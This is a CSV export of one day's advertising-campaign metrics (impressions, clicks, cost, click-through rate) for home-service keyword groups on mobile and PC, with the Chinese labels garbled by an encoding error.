+"2017-02-26","ͥ-","ศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķ-ѯ","ศM",142,20,19.30,14.08%,0.96,0,0,0 +"2017-02-26","ķ-","ศM",33,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķ-վ","ศM",11,1,0.83,9.09%,0.83,0,0,0 +"2017-02-26","ķ-","ศM",99,3,2.78,3.03%,0.93,0,0,0 +"2017-02-26","ӵ㹤-ʱ","ศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-Ҫ","ศM",91,1,1.00,1.10%,1.00,0,0,0 +"2017-02-26","ӵ㹤-","ศM",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-","ศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-","ศM",18,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-ѯ","ศM",13,1,0.72,7.69%,0.72,0,0,0 +"2017-02-26","-˾","ศM",18,1,0.81,5.56%,0.81,0,0,0 +"2017-02-26","ͥ-๤","ศM",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-վ","ศM",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-","ศM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵάޣβ","άศPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵάޣѯۣ","άศPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣأ","άศPC",60,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ","άศPC",834,1,1.99,0.12%,1.99,0,0,0 +"2017-02-26","ҵάޣģ","άศPC",365,4,6.38,1.10%,1.59,0,0,0 +"2017-02-26","άޣν","άศPC",1132,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵάޣ绰","άศPC",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άվ/ƽ̨","άศPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣģ","άศPC",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣ/㣩","άศPC",69,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣģ","άศPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣѯۣ","άศPC",214,2,1.48,0.93%,0.74,0,0,0 +"2017-02-26","ֻάޣ","άศPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵάޣվ","άศPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣվ","άศPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻάޣֻ","άศPC",163,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","άศPC",390,2,2.42,0.51%,1.21,0,0,0 +"2017-02-26","ֻάޣĻ","άศPC",143,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ","άศPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-","ศPC",54,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-","ศPC",37,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-ѯ","ศPC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-","ศPC",112,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-վ","ศPC",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-ʱ","ศPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķ-","ศPC",232,2,0.80,0.86%,0.40,0,0,0 +"2017-02-26","ӵ㹤-Ҫ","ศPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-˾","ศPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-","ศPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-˾","ศPC",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-","ศPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-˾","ศPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ӵ㹤-","ศPC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķ-վ","ศPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķ-ѯ","ศPC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-","ศPC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ͥ-","ศPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","-ѯ","ศPC",24,1,0.70,4.17%,0.70,0,0,0 +"2017-02-26","ӵ㹤-","ศPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","յάM",290,11,18.30,3.79%,1.66,0,0,0 +"2017-02-26","+ά","յάM",35,2,8.86,5.71%,4.43,1,0,0 +"2017-02-26","ҵʣάޣ","յάM",400,8,30.73,2.00%,3.84,2,0,0 +"2017-02-26","β+ά","յάM",17,2,9.80,11.76%,4.90,0,0,0 +"2017-02-26","绰","յάM",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","β+ά","յάPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","յάPC",47,2,2.83,4.26%,1.42,0,0,0 +"2017-02-26","ҵʣάޣ","յάPC",84,3,8.88,3.57%,2.96,0,0,0 +"2017-02-26","+ά","յάPC",14,1,1.95,7.14%,1.95,0,0,0 +"2017-02-26","绰","յάPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣ绰","M",18,1,3.67,5.56%,3.67,0,0,0 +"2017-02-26","̻άޣģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣģ","M",179,4,11.56,2.23%,2.89,2,0,0 +"2017-02-26","άޣģ","M",432,8,22.03,1.85%,2.75,0,0,0 +"2017-02-26","ˮάޣ绰","M",247,11,34.02,4.45%,3.09,3,0,0 +"2017-02-26","άޣѯۣ","M",146,11,19.95,7.53%,1.81,0,0,0 +"2017-02-26","ˮάޣģ","M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣ绰","M",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣѯۣ","M",12,1,1.76,8.33%,1.76,0,0,0 +"2017-02-26","Ӱҵάޣģ","M",428,6,18.20,1.40%,3.03,1,0,0 +"2017-02-26","̻άޣν","M",370,17,55.02,4.59%,3.24,4,0,0 +"2017-02-26","άޣѯۣ","M",191,8,12.49,4.19%,1.56,0,0,0 +"2017-02-26","άޣ绰","M",125,4,12.87,3.20%,3.22,0,0,0 +"2017-02-26","άޣģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣѯۣ","M",156,6,12.68,3.85%,2.11,0,0,0 +"2017-02-26","άޣģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","M",383,7,20.38,1.83%,2.91,2,0,0 +"2017-02-26","Ӱҵάޣģ","M",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨ˾","M",3,2,9.53,66.67%,4.76,0,0,0 +"2017-02-26","ıࣨѯۣ","M",14,2,3.66,14.29%,1.83,0,0,0 +"2017-02-26","ıࣨģ","M",85,8,33.17,9.41%,4.15,1,0,0 +"2017-02-26","ˮάޣ绰","M",58,4,17.63,6.90%,4.41,1,0,0 +"2017-02-26","ˮάޣװάޣ","M",524,11,38.26,2.10%,3.48,2,0,0 +"2017-02-26","繤ҵʣ","M",619,30,76.69,4.85%,2.56,7,0,0 +"2017-02-26","繤ѯۣ","M",34,3,5.07,8.82%,1.69,0,0,0 +"2017-02-26","8ƷM","M",17,16,18.10,94.12%,1.13,0,0,0 +"2017-02-26","άޣ绰","M",54,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ǩ֤","M",1040,16,14.02,1.54%,0.88,1,0,0 +"2017-02-26","ܵͨҵʣ","M",153,7,17.93,4.58%,2.56,1,0,0 +"2017-02-26","ܵͨ绰","M",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָҵʣ","M",931,20,18.49,2.15%,0.92,0,0,0 +"2017-02-26","ݻָѯۣ","M",24,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯۣ","M",141,19,38.97,13.48%,2.05,1,0,0 +"2017-02-26","ģ","M",202,11,25.36,5.45%,2.31,1,0,0 +"2017-02-26","ҵʣ","M",723,44,126.01,6.09%,2.86,5,0,0 +"2017-02-26","յάޣҵʣ","M",542,13,31.88,2.40%,2.45,3,0,0 +"2017-02-26","յάޣѯۣ","M",122,7,6.82,5.74%,0.97,0,0,0 +"2017-02-26","ݻָ˾","M",43,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģأ˾","M",610,7,16.14,1.15%,2.31,2,0,0 +"2017-02-26","̻άޣѯۣ","M",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯۣ","M",98,4,4.79,4.08%,1.20,0,0,0 +"2017-02-26","","M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","M",697,12,33.36,1.72%,2.78,0,0,0 +"2017-02-26","ϴ»άޣ绰","M",55,1,4.00,1.82%,4.00,0,0,0 +"2017-02-26","ϴ»άޣģ","M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣѯۣ","M",197,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣģ","M",415,9,24.97,2.17%,2.77,1,0,0 +"2017-02-26","յάޣ绰","M",48,2,6.36,4.17%,3.18,0,0,0 +"2017-02-26","ˮάޣģ","M",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ޣѯۣ","M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ޣν","M",1410,64,22.38,4.54%,0.35,1,0,0 +"2017-02-26","ޣ","M",46,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣװάޣ","ˮάM",648,15,50.32,2.31%,3.35,1,0,0 +"2017-02-26","绰","ˮάM",75,4,16.11,5.33%,4.03,0,0,0 +"2017-02-26","ʴʣģ","ˮάM",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-˰PC",296,5,12.82,1.69%,2.56,0,0,0 +"2017-02-26","绰","-˰PC",71,3,14.77,4.23%,4.92,0,0,0 +"2017-02-26","ʴʣģ","-˰PC",36,1,3.60,2.78%,3.60,0,0,0 +"2017-02-26","ҵʣ","-˰PC",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣβ","-˰PC",25,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-˰PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","-˰PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣVң","-˰PC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-˰PC",179,3,7.74,1.68%,2.58,0,0,0 +"2017-02-26","ҵʣҪ","-˰PC",311,6,20.40,1.93%,3.40,2,0,0 +"2017-02-26","˾","-˰M",579,63,312.53,10.88%,4.96,8,0,0 +"2017-02-26","ҵʣVң","-˰M",30,4,14.47,13.33%,3.62,0,0,0 +"2017-02-26","ҵʣ","-˰M",97,7,34.00,7.22%,4.86,1,0,0 +"2017-02-26","ʴʣģ","-˰M",50,7,25.97,14.00%,3.71,2,0,0 +"2017-02-26","绰","-˰M",63,2,10.06,3.17%,5.03,0,0,0 +"2017-02-26","վ/ƽ̨","-˰M",8,2,11.35,25.00%,5.67,0,0,0 +"2017-02-26","ҵʣ","-˰M",14,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-˰M",568,58,230.95,10.21%,3.98,6,0,0 +"2017-02-26","ҵʣβ","-˰M",113,18,92.38,15.93%,5.13,2,0,0 +"2017-02-26","ҵʣҪ","-˰M",1077,108,516.92,10.03%,4.79,18,0,0 +"2017-02-26","άޣģ","ά޴M",82,4,10.65,4.88%,2.66,2,0,0 +"2017-02-26","ˮάޣѯۣ","ά޴M",126,6,13.31,4.76%,2.22,1,0,0 +"2017-02-26","ˮάޣģ","ά޴M",673,11,32.64,1.63%,2.97,1,0,0 +"2017-02-26","άޣģ","ά޴M",630,21,57.30,3.33%,2.73,2,0,0 +"2017-02-26","ϴ»άޣѯۣ","ά޴M",210,5,9.56,2.38%,1.91,0,0,0 +"2017-02-26","ϴ»άޣģ","ά޴M",71,3,8.06,4.23%,2.69,0,0,0 +"2017-02-26","άޣѯۣ","ά޴M",197,12,19.64,6.09%,1.64,1,0,0 +"2017-02-26","Ӱҵάޣģ","ά޴M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣѯۣ","ά޴M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣģ","ά޴M",437,14,46.82,3.20%,3.34,3,0,0 +"2017-02-26","άޣѯۣ","ά޴M",138,9,16.56,6.52%,1.84,1,0,0 +"2017-02-26","άޣ绰","ά޴M",225,5,16.05,2.22%,3.21,0,0,0 +"2017-02-26","ˮάޣ绰","ά޴M",542,10,30.71,1.85%,3.07,2,0,0 +"2017-02-26","άޣ绰","ά޴M",36,1,4.00,2.78%,4.00,0,0,0 +"2017-02-26","ˮάޣģ","ά޴M",21,1,1.42,4.76%,1.42,0,0,0 +"2017-02-26","ϴ»άޣģ","ά޴M",695,13,46.87,1.87%,3.61,2,0,0 +"2017-02-26","άޣģ","ά޴M",16,3,7.69,18.75%,2.56,0,0,0 +"2017-02-26","̻άޣν","ά޴M",516,19,43.38,3.68%,2.28,1,0,0 +"2017-02-26","̻άޣ","ά޴M",106,3,9.69,2.83%,3.23,0,0,0 +"2017-02-26","̻άޣѯۣ","ά޴M",15,2,4.72,13.33%,2.36,0,0,0 +"2017-02-26","̻άޣ绰","ά޴M",36,2,7.51,5.56%,3.75,0,0,0 +"2017-02-26","Ӱҵάޣ绰","ά޴M",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»άޣ绰","ά޴M",7,2,3.59,28.57%,1.79,0,0,0 +"2017-02-26","ˮάޣѯۣ","ά޴PC",21,1,2.04,4.76%,2.04,0,0,0 +"2017-02-26","άޣѯۣ","ά޴PC",16,1,1.74,6.25%,1.74,0,0,0 +"2017-02-26","άޣ绰","ά޴PC",9,1,2.86,11.11%,2.86,1,0,0 +"2017-02-26","ϴ»άޣģ","ά޴PC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ϴ»ά()","ά޴PC",139,3,12.85,2.16%,4.28,0,0,0 +"2017-02-26","Ӱҵάޣѯۣ","ά޴PC",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","ά޴PC",8,1,2.39,12.50%,2.39,0,0,0 +"2017-02-26","άޣģ","ά޴PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","ά޴PC",349,3,10.56,0.86%,3.52,0,0,0 +"2017-02-26","άޣģ","ά޴PC",50,2,5.70,4.00%,2.85,0,0,0 +"2017-02-26","Ӱҵάޣģ","ά޴PC",123,9,25.46,7.32%,2.83,1,0,0 +"2017-02-26","ϴ»ά(ѯ)","ά޴PC",5,1,3.90,20.00%,3.90,0,0,0 +"2017-02-26","Ӱҵάޣģ","ά޴PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣģ","ά޴PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣ绰","ά޴PC",85,1,2.34,1.18%,2.34,0,0,0 +"2017-02-26","άޣģ","ά޴PC",179,10,22.54,5.59%,2.25,0,0,0 +"2017-02-26","̻άޣν","ά޴PC",113,6,17.47,5.31%,2.91,0,0,0 +"2017-02-26","̻άޣ","ά޴PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣѯۣ","ά޴PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣ绰","ά޴PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","̻άޣ绰","ά޴PC",27,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣģ","ά޴PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣ绰","ά޴PC",15,1,3.36,6.67%,3.36,0,0,0 +"2017-02-26","ϴ»άޣ绰","ά޴PC",12,1,2.22,8.33%,2.22,0,0,0 +"2017-02-26","ֻά","ҵͶM",265,4,9.69,1.51%,2.42,0,0,0 +"2017-02-26","ά","ҵͶM",119,3,7.20,2.52%,2.40,0,0,0 +"2017-02-26","˰","ҵͶM",291,16,37.77,5.50%,2.36,1,0,0 +"2017-02-26","","ҵͶM",451,34,63.78,7.54%,1.88,3,0,0 +"2017-02-26","סұķ","ҵͶM",183,13,18.80,7.10%,1.45,0,0,0 +"2017-02-26","","ҵͶM",28,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤","ҵͶM",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģ","ҵͶM",72,3,5.71,4.17%,1.90,1,0,0 +"2017-02-26","ҵʣ㻤","-㻤M",232,12,38.83,5.17%,3.24,0,0,0 +"2017-02-26","ʴʣģ","-㻤M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-㻤M",31,5,8.63,16.13%,1.73,0,0,0 +"2017-02-26","ҵʣ","-㻤M",115,11,31.23,9.57%,2.84,2,0,0 +"2017-02-26","ҵʣXX","-㻤M",30,2,5.36,6.67%,2.68,1,0,0 +"2017-02-26","ʴʣģ","-㻤M",3,1,1.90,33.33%,1.90,1,0,0 +"2017-02-26","ҵʣXX","-㻤M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-㻤M",136,7,23.62,5.15%,3.37,2,0,0 +"2017-02-26","վ/ƽ̨","-㻤M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ㻤","-㻤M",84,4,6.53,4.76%,1.63,0,0,0 +"2017-02-26","ʴʣѯۣ","-㻤M",21,1,1.88,4.76%,1.88,0,0,0 +"2017-02-26","Ļ","-ֻάM",618,9,16.29,1.46%,1.81,1,0,0 +"2017-02-26","","-ֻάM",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάM",51,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ֻ","-ֻάM",530,9,21.93,1.70%,2.44,2,0,0 +"2017-02-26","/","-ֻάM",452,13,21.79,2.88%,1.68,2,0,0 +"2017-02-26","ѯ","-ֻάM",2930,140,152.04,4.78%,1.09,4,0,0 +"2017-02-26","","-ֻάM",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάM",26,1,0.70,3.85%,0.70,0,0,0 +"2017-02-26","վ","-ֻάM",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ֻάPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάPC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","-ֻάPC",76,1,1.23,1.32%,1.23,0,0,0 +"2017-02-26","ֻ","-ֻάPC",151,8,16.51,5.30%,2.06,0,0,0 +"2017-02-26","/","-ֻάPC",106,1,0.93,0.94%,0.93,0,0,0 +"2017-02-26","Ļ","-ֻάPC",102,4,10.29,3.92%,2.57,0,0,0 +"2017-02-26","","-ֻάPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάPC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάPC",22,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ͥM",27,3,8.13,11.11%,2.71,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥM",40,2,3.00,5.00%,1.50,0,0,0 +"2017-02-26","˾","-ͥM",304,22,76.89,7.24%,3.50,1,0,0 +"2017-02-26","ҵʣ","-ͥM",116,3,6.80,2.59%,2.27,2,0,0 +"2017-02-26","ҵʣģ","-ͥM",663,32,104.72,4.83%,3.27,2,0,0 +"2017-02-26","ҵʣ๤","-ͥM",183,10,27.65,5.46%,2.77,0,0,0 +"2017-02-26","ҵʣ","-ͥM",27,2,4.68,7.41%,2.34,0,0,0 +"2017-02-26","ҵʣ๤","-ͥPC",145,2,5.02,1.38%,2.51,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ͥPC",26,3,12.79,11.54%,4.26,0,0,0 +"2017-02-26","˾","-ͥPC",23,2,7.99,8.70%,4.00,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥPC",16,1,2.80,6.25%,2.80,0,0,0 +"2017-02-26","ҵʣģ","-ͥPC",208,3,8.57,1.44%,2.86,0,0,0 +"2017-02-26","ҵʣʣ","-ķM",899,46,118.63,5.12%,2.58,3,0,0 +"2017-02-26","վ","-ķM",95,5,13.54,5.26%,2.71,0,0,0 +"2017-02-26","ҵʣ","-ķM",561,24,48.52,4.28%,2.02,0,0,0 +"2017-02-26","ʴʣѯۣ","-ķM",322,42,55.83,13.04%,1.33,1,0,0 +"2017-02-26","ʴʣģ","-ķM",77,3,5.58,3.90%,1.86,0,0,0 +"2017-02-26","ʴʣģ","-ķPC",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ķPC",36,2,1.27,5.56%,0.64,0,0,0 +"2017-02-26","ҵʣʣ","-ķPC",291,2,3.77,0.69%,1.89,0,0,0 +"2017-02-26","վ","-ķPC",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άPC",38,1,2.57,2.63%,2.57,0,0,0 +"2017-02-26","绰","-άPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","-άPC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άPC",301,12,39.44,3.99%,3.29,0,0,0 +"2017-02-26","ҵʣν","-άPC",406,8,26.76,1.97%,3.35,2,0,0 +"2017-02-26","ʴʣģ","-άPC",6,1,3.08,16.67%,3.08,0,0,0 +"2017-02-26","ʴʣѯۣ","-άPC",81,3,5.10,3.70%,1.70,0,0,0 +"2017-02-26","绰","-άM",106,4,12.70,3.77%,3.17,0,0,0 +"2017-02-26","ҵʣ","-άM",946,38,111.46,4.02%,2.93,3,0,0 +"2017-02-26","ҵʣν","-άM",1213,29,100.33,2.39%,3.46,1,0,0 +"2017-02-26","ʴʣģ","-άM",25,1,3.32,4.00%,3.32,1,0,0 +"2017-02-26","ʴʣѯۣ","-άM",1067,46,80.38,4.31%,1.75,1,0,0 +"2017-02-26","վ/ƽ̨","-άM",39,1,4.00,2.56%,4.00,0,0,0 +"2017-02-26","ҵʣ","-άM",174,12,42.63,6.90%,3.55,1,0,0 +"2017-02-26","ҵʣʣ","-ķM",826,61,162.28,7.38%,2.66,1,0,0 +"2017-02-26","վ","-ķM",122,9,26.06,7.38%,2.90,0,0,0 +"2017-02-26","ҵʣ","-ķM",384,29,57.06,7.55%,1.97,1,0,0 +"2017-02-26","ʴʣģ","-ķM",15,3,8.23,20.00%,2.74,0,0,0 +"2017-02-26","ʴʣѯۣ","-ķM",245,33,52.35,13.47%,1.59,1,0,0 +"2017-02-26","ҵʣ","-άM",258,10,34.49,3.88%,3.45,2,0,0 +"2017-02-26","ʴʣģ","-άM",32,3,7.26,9.38%,2.42,0,0,0 +"2017-02-26","绰","-άM",77,3,8.34,3.90%,2.78,0,0,0 +"2017-02-26","վ/ƽ̨","-άM",24,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άM",630,30,97.40,4.76%,3.25,6,0,0 +"2017-02-26","ʴʣѯۣ","-άM",450,16,26.56,3.56%,1.66,0,0,0 +"2017-02-26","ҵʣν","-άM",633,27,100.72,4.27%,3.73,4,0,0 +"2017-02-26","ҵʣʣ","-ķPC",237,25,62.76,10.55%,2.51,1,0,0 +"2017-02-26","ʴʣģ","-ķPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ķPC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ķPC",106,11,17.45,10.38%,1.59,1,0,0 +"2017-02-26","վ/ƽ̨","-άPC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άPC",149,10,28.49,6.71%,2.85,0,0,0 +"2017-02-26","ҵʣ","-άPC",40,1,3.16,2.50%,3.16,0,0,0 +"2017-02-26","绰","-άPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν","-άPC",312,6,14.39,1.92%,2.40,0,0,0 +"2017-02-26","ʴʣѯۣ","-άPC",64,2,5.24,3.12%,2.62,0,0,0 +"2017-02-26","ʴʣģ","-άPC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ+ţ","-ҵάM",78,4,16.83,5.13%,4.21,1,0,0 +"2017-02-26","ʴʣ+У","-ҵάM",16,2,6.73,12.50%,3.37,0,0,0 +"2017-02-26","ҵʣ+ҵάޣ","-ҵάM",108,9,34.31,8.33%,3.81,1,0,0 +"2017-02-26","绰","-ҵάM",38,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ/ƽ̨","-ҵάM",8,2,6.24,25.00%,3.12,0,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάM",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-ҵάM",424,18,53.19,4.25%,2.96,2,0,0 +"2017-02-26","绰","-ҵάPC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-ҵάPC",108,1,1.45,0.93%,1.45,0,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ+ţ","-ҵάPC",15,2,5.00,13.33%,2.50,0,0,0 +"2017-02-26","ҵ(+ҵά)","-ҵάPC",26,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ͥM",8,1,3.57,12.50%,3.57,0,0,0 +"2017-02-26","ҵʣģ","-ͥM",575,39,128.00,6.78%,3.28,3,0,0 +"2017-02-26","ʴʣģ","-ͥM",9,1,3.31,11.11%,3.31,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥM",26,3,3.19,11.54%,1.06,0,0,0 +"2017-02-26","ҵʣ","-ͥM",241,5,14.66,2.07%,2.93,0,0,0 +"2017-02-26","ҵʣ๤","-ͥM",51,3,10.74,5.88%,3.58,0,0,0 +"2017-02-26","˾","-ͥM",342,27,93.08,7.89%,3.45,0,0,0 +"2017-02-26","ҵʣ๤","-ͥPC",26,1,1.84,3.85%,1.84,0,0,0 +"2017-02-26","ʴʣģ","-ͥPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥPC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-ͥPC",8,1,3.13,12.50%,3.13,0,0,0 +"2017-02-26","ҵʣģ","-ͥPC",231,7,24.14,3.03%,3.45,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",19,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ƽ̨/վ","-PC",10,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-PC",19,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-PC",121,4,7.95,3.31%,1.99,0,0,0 +"2017-02-26","˾","-PC",28,1,1.98,3.57%,1.98,0,0,0 +"2017-02-26","ҵʣģ","-M",53,3,5.79,5.66%,1.93,0,0,0 +"2017-02-26","ҵʣβ","-M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-M",199,10,16.67,5.03%,1.67,0,0,0 +"2017-02-26","˾","-M",145,10,14.35,6.90%,1.44,1,0,0 +"2017-02-26","ƽ̨/վ","-M",74,4,6.60,5.41%,1.65,0,0,0 +"2017-02-26","ʴʣģ","-M",51,4,6.11,7.84%,1.53,0,0,0 +"2017-02-26","ıࣨѯۣ","M",16,3,6.00,18.75%,2.00,1,0,0 +"2017-02-26","ıࣨģ","M",64,6,29.75,9.38%,4.96,1,0,0 +"2017-02-26","ıࣨ˾","M",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ˮάޣװάޣ","M",502,13,42.44,2.59%,3.26,4,0,0 +"2017-02-26","ˮάޣ绰","M",30,3,11.95,10.00%,3.98,0,0,0 +"2017-02-26","繤ѯۣ","M",6,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","繤ҵʣ","M",408,23,57.73,5.64%,2.51,4,0,0 +"2017-02-26","Ӱҵάޣ绰","M",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣѯۣ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","Ӱҵάޣģ","M",188,7,22.15,3.72%,3.16,0,0,0 +"2017-02-26","ˮάޣģ","M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","άޣѯۣ","M",69,1,1.76,1.45%,1.76,0,0,0 +"2017-02-26","άޣѯۣ","M",93,3,4.83,3.23%,1.61,0,0,0 